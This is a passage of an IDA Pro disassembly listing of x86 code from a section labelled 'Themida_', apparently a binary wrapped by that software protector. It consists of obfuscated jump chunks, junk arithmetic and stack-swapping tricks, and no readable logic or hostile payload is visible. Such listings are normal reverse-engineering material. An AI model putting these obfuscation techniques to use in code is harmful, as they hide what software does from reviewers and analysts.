; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_595AFC:				; CODE XREF: Themida_:0058E71Dj
		sub	ecx, 238DE52Ah
		mov	esi, ecx
		pop	ecx
		jmp	loc_595DA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_595B0A:				; CODE XREF: sub_59614F-94C8j
					; sub_58E66C-1834j
		push	eax
		mov	eax, 763669A9h
		inc	eax
		dec	eax
		sub	eax, 2DF5914h
		push	edx
		jmp	loc_591FA6
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_595B1D:				; CODE XREF: sub_58C878-198Fj
		add	bl, 0C8h
		add	bl, 16h
		sub	bl, al
		sub	bl, 16h
		jmp	sub_58EE27
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------


loc_595B2D:				; CODE XREF: Themida_:0058F9E7j
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59087A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_595B3E:				; CODE XREF: sub_58AE7C+4B97j
					; sub_58E66C+50EFj
		push	edi
		mov	edi, 4
		add	ebp, edi
		push	dword ptr [esp+0]
		pop	edi
		add	esp, 4
		sub	ebp, 4
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], eax
		push	dword ptr [esp+0]
		pop	ebx
		jmp	loc_5976FA
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		jmp	loc_5931AC
; ---------------------------------------------------------------------------


loc_595B75:				; CODE XREF: Themida_:00593434j
		shr	ch, 8
		sub	esp, 2
		jmp	loc_58F9EC
; ---------------------------------------------------------------------------


loc_595B83:				; CODE XREF: Themida_:00594DE1j
		mov	ecx, esp
		push	esi
		jmp	loc_594278
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_595B8B:				; CODE XREF: sub_596082:loc_58D09Fj
					; Themida_:00596F5Fj
		add	esi, 1DF2439Dh
		pop	ebp
		xchg	esi, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		jmp	loc_59672A
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_595B9D:				; CODE XREF: sub_5925A4-7B9j
					; sub_591C99+30ABj
		sub	al, bl
		mov	bx, word ptr [esp+2+var_4+2]
		sub	esp, 4
		jmp	loc_58AFAE
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_595BAB:				; CODE XREF: Themida_:0058BA3Ej
					; Themida_:00594F2Dj
		add	esp, 4
		jmp	loc_58EF81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_595BB6:				; CODE XREF: Themida_:005918BEj
					; sub_58F160:loc_592C60j
		mov	ebx, 3D5A0646h
		jmp	loc_593F49
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_595BC0:				; CODE XREF: Themida_:0058CE6Dj
		mov	ecx, esp
		push	480Ah
		mov	[esp], eax
		mov	eax, 615737A1h
		inc	eax
		dec	eax
		not	eax
		neg	eax
		or	eax, 5ADF45A6h
		jmp	loc_596047
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_595BDF:				; CODE XREF: sub_58E66C+690Ej
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		pop	ecx
		push	5340h
		mov	[esp+4+var_4], ecx
		jmp	loc_58BF8C
; END OF FUNCTION CHUNK	FOR sub_58E66C

; =============== S U B	R O U T	I N E =======================================



sub_595BFA	proc near		; CODE XREF: sub_591C99-1697j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00591912 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 005955C7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005965D6 SIZE 00000005 BYTES

		sub	esp, 4
		jmp	loc_5955C7
sub_595BFA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_595C05:				; CODE XREF: sub_596082+4BBj
		sub	di, bp
		pop	bp
		add	ax, di
		pop	edi
		mov	cx, word ptr [esp-0Ah+arg_4+2]
		add	esp, 2
		push	694Eh
		jmp	loc_59603A
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_595C1F:				; CODE XREF: Themida_:0058C459j
					; sub_596498-5FB7j
		add	ecx, 4
		sub	esp, 4
		jmp	loc_58AA97
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------


loc_595C2D:				; CODE XREF: Themida_:0059492Bj
		or	ecx, 3820671Ch
		xor	ecx, 12CD049Fh
		jmp	loc_58B5D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D250


loc_595C3E:				; CODE XREF: sub_58D250-E32j
		add	esi, 4
		jmp	loc_58AA28
; END OF FUNCTION CHUNK	FOR sub_58D250
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964CE


loc_595C49:				; CODE XREF: sub_5964CE+1Aj
		push	dword ptr [edi+eax*4]
		jmp	loc_597328
; END OF FUNCTION CHUNK	FOR sub_5964CE
; ---------------------------------------------------------------------------


loc_595C51:				; CODE XREF: Themida_:0058D8D8j
					; Themida_:005943A8j
		add	eax, 299208DDh
		jnp	sub_5909F8
		push	ebx
		jmp	loc_58BA57
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		push	eax


loc_595C69:				; CODE XREF: Themida_:0058FD86j
					; Themida_:0059077Bj
		or	ch, al
		pop	eax
		sub	ch, 58h
		add	bl, 0Eh
		jmp	loc_5901DD
; ---------------------------------------------------------------------------


loc_595C77:				; CODE XREF: Themida_:0058E7A9j
		add	ebp, esi
		sub	ebp, 66291359h
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 5B131040h
		not	ecx
		shr	ecx, 7
		not	ecx
		neg	ecx
		not	ecx
		add	ecx, 149D9E5h
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		jmp	loc_58BFD2
; ---------------------------------------------------------------------------


loc_595CAA:				; CODE XREF: Themida_:0058ED4Ej
		add	edi, 2F222EA2h
		add	edi, ebp
		sub	edi, 2F222EA2h
		sub	edi, 441D23A2h
		push	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_596F2F
; ---------------------------------------------------------------------------


loc_595CD3:				; CODE XREF: Themida_:00590FA0j
					; Themida_:00593FABj
		push	esp
		jmp	loc_590266
; ---------------------------------------------------------------------------


loc_595CD9:				; CODE XREF: Themida_:0058F080j
		pop	edi
		jmp	loc_58B8AA
; ---------------------------------------------------------------------------


loc_595CDF:				; CODE XREF: Themida_:0058A8F7j
		mov	ecx, ebp
		pop	ebp
		neg	ecx
		neg	ecx
		not	ecx
		push	ebp
		mov	ebp, 7A4E5095h
		sub	ecx, ebp
		pop	ebp
		xor	ecx, 21625D42h
		push	esi
		mov	esi, 2B3A1E05h
		xor	ecx, esi
		pop	esi
		add	edx, ecx
		pop	ecx
		push	74C4h
		jmp	loc_593E3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941CE


loc_595D0D:				; CODE XREF: sub_5941CE+2270j
		and	ebp, 125F7486h
		push	ebx
		mov	ebx, 22EA4ED0h
		add	ebx, 449F036Ch
		xor	ebx, 29240508h
		xor	ebp, ebx
		pop	ebx
		xor	ebx, ebp
		pop	ebp
		sub	eax, 402F4487h
		sub	eax, ebx
		add	eax, 402F4487h
		mov	ebx, [esp+0]
		add	esp, 4
		push	ecx
		mov	ecx, 0
		jmp	loc_58FF32
; END OF FUNCTION CHUNK	FOR sub_5941CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59447B


loc_595D4B:				; CODE XREF: sub_59447B-2916j
		pop	ebp
		sub	edi, 95E573Bh
		or	edi, 79D47579h
		jmp	loc_590D3A
; END OF FUNCTION CHUNK	FOR sub_59447B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_595D5D:				; CODE XREF: sub_593009-EBBj
		mov	edx, 0
		add	edx, ebx
		jmp	sub_58FB68
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------


loc_595D69:				; CODE XREF: Themida_:00590EAFj
		xchg	ebx, [esp]
		jmp	loc_5921DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_595D71:				; CODE XREF: sub_58E66C+9C6j
		mov	esp, [esp+8+var_8]
		jmp	loc_58B7D9
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_595D79:				; CODE XREF: sub_596498-7038j
		mov	ecx, edi
		pop	edi
		pop	eax
		jmp	loc_59315F
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------


loc_595D82:				; CODE XREF: Themida_:0058B86Fj
		sub	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_58C1DA
; ---------------------------------------------------------------------------


loc_595DA4:				; CODE XREF: Themida_:00595B05j
		push	ecx
		mov	ecx, 23D256C7h
		add	esi, ecx
		pop	ecx
		inc	esi
		jmp	loc_58D4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FB68


loc_595DB3:				; CODE XREF: sub_58FB68-288Fj
		pop	esp
		push	3AACh
		jmp	loc_593138
; END OF FUNCTION CHUNK	FOR sub_58FB68
; ---------------------------------------------------------------------------


loc_595DBE:				; CODE XREF: Themida_:00590267j
		add	edi, 4
		jmp	loc_58DA82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_595DC9:				; CODE XREF: sub_596082-BACBj
		pop	eax
		sub	al, bl
		mov	ebx, [esp+0]
		jmp	loc_5965DB
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_595DD4:				; CODE XREF: sub_58E66C+209Cj
		pop	esp
		push	ebx
		push	edi
		mov	edi, 3E31E19h
		shr	edi, 1
		and	edi, 35F30DADh
		xor	edi, 1F10D08h
		mov	ebx, edi
		pop	edi
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp+10h+var_10]
		jmp	loc_58C170
; END OF FUNCTION CHUNK	FOR sub_58E66C

; =============== S U B	R O U T	I N E =======================================



sub_595DFE	proc near		; CODE XREF: sub_596082-9701j
		push	ebx
		jmp	loc_5955CF
sub_595DFE	endp

; ---------------------------------------------------------------------------


loc_595E04:				; CODE XREF: Themida_:00595897j
		not	ecx
		jmp	loc_59745E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_595E0B:				; CODE XREF: sub_596082-B738j
		mov	[esp+8+var_8], esp
		push	eax
		jmp	loc_593E2E
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_595E14:				; CODE XREF: Themida_:005926A3j
		xor	edx, 1412790Fh
		sub	edx, 3A796702h
		add	ebp, edx
		pop	edx
		add	ebp, 57117255h
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		jmp	loc_58A7FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E600


loc_595E3F:				; CODE XREF: sub_58E600+207Ej
		push	38E7h
		mov	[esp+8+var_8], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+8+var_8]
		jmp	loc_58CE1E
; END OF FUNCTION CHUNK	FOR sub_58E600
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_595E59:				; CODE XREF: sub_594F3F-6F16j
					; sub_58E66C+D1Cj ...
		pop	ebp
		and	ecx, edx
		mov	edx, [esp+2+var_4+2]
		push	edx
		jmp	loc_5961EF
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_595E65:				; CODE XREF: Themida_:0058FCA5j
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_5941A2
; ---------------------------------------------------------------------------


loc_595E6F:				; CODE XREF: Themida_:0058BE7Ej
		jnp	loc_59281B
		add	ecx, 62A53A98h
		mov	dh, 9Ah
		pop	ebx
; START	OF FUNCTION CHUNK FOR sub_596FD2


loc_595E7F:				; CODE XREF: sub_596FD2-30ABj
		mov	esi, [esp-4+arg_0]
		push	ebx
		jmp	loc_5913EC
; END OF FUNCTION CHUNK	FOR sub_596FD2
; ---------------------------------------------------------------------------


loc_595E88:				; CODE XREF: Themida_:005903CAj
		pop	edx
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		jmp	loc_58A91F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5952B4


loc_595E96:				; CODE XREF: sub_5952B4-734Ej
		push	2928h
		jmp	loc_58EFF3
; END OF FUNCTION CHUNK	FOR sub_5952B4
; ---------------------------------------------------------------------------


loc_595EA0:				; CODE XREF: Themida_:0058B262j
		mov	ecx, 354D57B1h
		add	ebx, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_595EC6:				; CODE XREF: sub_5F45E7-5F088j
		push	ecx
		mov	ecx, 77885BCAh
		xor	ecx, 77885BCEh
		sub	edi, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_58DC04
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_595EDF:				; CODE XREF: sub_596082:loc_58E659j
		xor	bl, 2Dh
		mov	dh, bl
		pop	bx
		jmp	loc_596C82
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_595EEB:				; CODE XREF: Themida_:0058D961j
		mov	bh, 46h
		add	bh, 7Eh
		xchg	dl, bh
		neg	dl
		xchg	dl, bh
		or	bh, 8Eh
		push	cx
		mov	cl, 2Ch
		jmp	loc_58F249
; ---------------------------------------------------------------------------


loc_595F02:				; CODE XREF: Themida_:0059543Dj
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_593C5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_595F0D:				; CODE XREF: sub_594F3F-6BB9j
		add	edx, edi
		pop	edi
		push	esi
		mov	esi, 2
		sub	edx, esi
		jmp	loc_5973B4
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_595F1D:				; CODE XREF: sub_596082-4844j
		mov	ebp, 1C1D7F74h
		dec	ebp
		or	ebp, 38A6642Eh
		shl	ebp, 7
		push	ebx
		mov	ebx, 3E4730A7h
		and	ebp, ebx
		pop	ebx
		xor	ebp, 1E073084h
		add	ecx, ebp
		pop	ebp
		jmp	sub_58E350
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_595F43:				; CODE XREF: Themida_:00593AC8j
		pop	eax
		sub	bl, 0D0h
		add	bl, al
		push	cx
		mov	cl, 0D0h
		add	bl, cl
		pop	cx
		push	ecx
		jmp	loc_59370C
; ---------------------------------------------------------------------------


loc_595F57:				; CODE XREF: Themida_:0058B5B4j
		add	ebx, esi
		jmp	loc_58E707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596498


loc_595F5E:				; CODE XREF: sub_596498+F97j
		mov	esi, 6BA74621h
		or	esi, 232E7B37h
		add	esi, 0A58B3C5Fh
		xor	ebp, esi
		mov	esi, [esp+0Ch+var_C]
		jmp	loc_593ACD
; END OF FUNCTION CHUNK	FOR sub_596498
; ---------------------------------------------------------------------------


loc_595F79:				; CODE XREF: Themida_:0058FEFAj
		mov	esi, esp
		jmp	loc_58FDF0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_595F80:				; CODE XREF: sub_58E66C+810Dj
		mov	ecx, 4
		jmp	loc_590DA3
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------


loc_595F8A:				; CODE XREF: Themida_:loc_58BA82j
		jmp	loc_58D1E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_595F8F:				; CODE XREF: sub_5F45E7-5F236j
		add	ah, 0C5h
		jmp	loc_58DA16
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_595F97:				; CODE XREF: Themida_:0059735Fj
		pop	edi
		pop	ebp
		jmp	loc_5946E3
; ---------------------------------------------------------------------------


loc_595F9E:				; CODE XREF: Themida_:0058CB75j
		mov	esi, 345F2060h
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 400B594Ch
		xor	edi, esi
		pop	esi
		xor	edi, 3CFD3702h
		jmp	loc_58BD2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E91C


loc_595FBF:				; CODE XREF: sub_58E91C+506j
		or	esi, 71F57D5h
		add	esi, 0EC599FBAh
		mov	ebx, esi
		jmp	loc_58E8CA
; END OF FUNCTION CHUNK	FOR sub_58E91C
; ---------------------------------------------------------------------------


loc_595FD2:				; CODE XREF: Themida_:0058FA51j
					; Themida_:loc_591539j
		push	esp
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_58C28C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_595FEE:				; CODE XREF: sub_594F3F+190Ej
		jmp	loc_594A98
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------


loc_595FF3:				; CODE XREF: Themida_:005921ACj
		add	edi, ecx
		pop	ecx
		push	edx
		mov	edx, 75954AA0h
		jmp	loc_58A5C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_596001:				; CODE XREF: sub_58E66C-EB8j
		jmp	loc_58C1D5
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_596006:				; CODE XREF: sub_58F160-3E72j
		xor	dh, 0CDh
		dec	dh
		xor	dh, 53h
		sub	dh, 0ABh
		add	dh, 0B0h
		xor	ah, dh
		pop	edx
		jmp	loc_58A656
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_59601C:				; CODE XREF: Themida_:0058BE2Ej
		push	ebp
		mov	ebp, 564C55E0h
		sub	ebp, 1938DE14h
		add	ebp, 0E9C7C6BAh
		jmp	loc_58B49E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_596033:				; CODE XREF: sub_596082-821Dj
		add	edx, ebp
		jmp	loc_591E4C
; ---------------------------------------------------------------------------


loc_59603A:				; CODE XREF: sub_596082-468j
		mov	[esp-0Ah+arg_4+2], edx
		push	esi
		mov	si, 592Ch
		jmp	loc_592D8A
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_596047:				; CODE XREF: Themida_:00595BDAj
		add	eax, 1
		add	eax, 8420885Dh
		add	ecx, eax
		pop	eax
		push	ebp
		mov	ebp, 6EE71E30h
		jmp	loc_5962C4
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		jmp	loc_58DA03
; ---------------------------------------------------------------------------


loc_596064:				; CODE XREF: Themida_:0058E3B3j
		add	eax, ebx
		jmp	loc_590386
; ---------------------------------------------------------------------------


loc_59606B:				; CODE XREF: Themida_:00590BC0j
		xchg	esi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		jmp	loc_58FDE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B23


loc_59607B:				; CODE XREF: sub_590B23-952j
		and	ebp, edx
		jmp	loc_5972C0
; END OF FUNCTION CHUNK	FOR sub_590B23

; =============== S U B	R O U T	I N E =======================================



sub_596082	proc near		; CODE XREF: sub_58B09E+8882j

var_36		= dword	ptr -36h
var_2E		= dword	ptr -2Eh
var_2A		= dword	ptr -2Ah
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h

; FUNCTION CHUNK AT 0058A5B0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058A612 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058A708 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058A76C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058A7AD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058A925 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0058A994 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058A9F5 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0058AA97 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058AACD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058AB3B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058AB7B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058ADDA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058ADF4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058AE2C SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058AE5B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058AF43 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058AF51 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058B0B8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058B116 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058B137 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058B1DC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058B2D7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058B4EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058B5EE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058B727 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058B7BC SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058B7DF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058BB0F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058BB64 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058BC24 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058BE6D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058BF72 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058BFB4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058C0AF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C0E0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058C0F7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058C150 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058C1F9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058C20C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058C38A SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0058C56B SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058C5C0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058C644 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058C6DD SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058C7BB SIZE 00000060 BYTES
; FUNCTION CHUNK AT 0058C91F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058C95F SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0058C99E SIZE 0000004F BYTES
; FUNCTION CHUNK AT 0058CA0A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058CAFC SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0058CB7A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058CBA9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058CC8C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058CDAF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058CE50 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058CEDD SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0058CF31 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058CFA1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058CFC2 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0058D047 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D068 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058D09F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058D127 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058D1A4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058D1BB SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0058D351 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058D3E3 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0058D46B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058D52F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058D599 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0058D666 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058D728 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058D745 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058D74F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058D7C7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058D87F SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0058D91C SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0058DA96 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058DB27 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DB40 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0058DBB5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058DCFE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058DD6A SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058DE22 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058DE41 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058DE76 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058E096 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058E0A9 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0058E0E9 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058E12E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058E25B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058E504 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0058E659 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058E6AC SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0058E80C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058E845 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0058E894 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058E96B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058E99E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058EB42 SIZE 0000005F BYTES
; FUNCTION CHUNK AT 0058ECC2 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0058EDE5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058EE39 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058EE92 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058F0C5 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 0058F140 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058F196 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058F252 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058F2D0 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058F38D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058F530 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058F562 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058F654 SIZE 0000001F BYTES
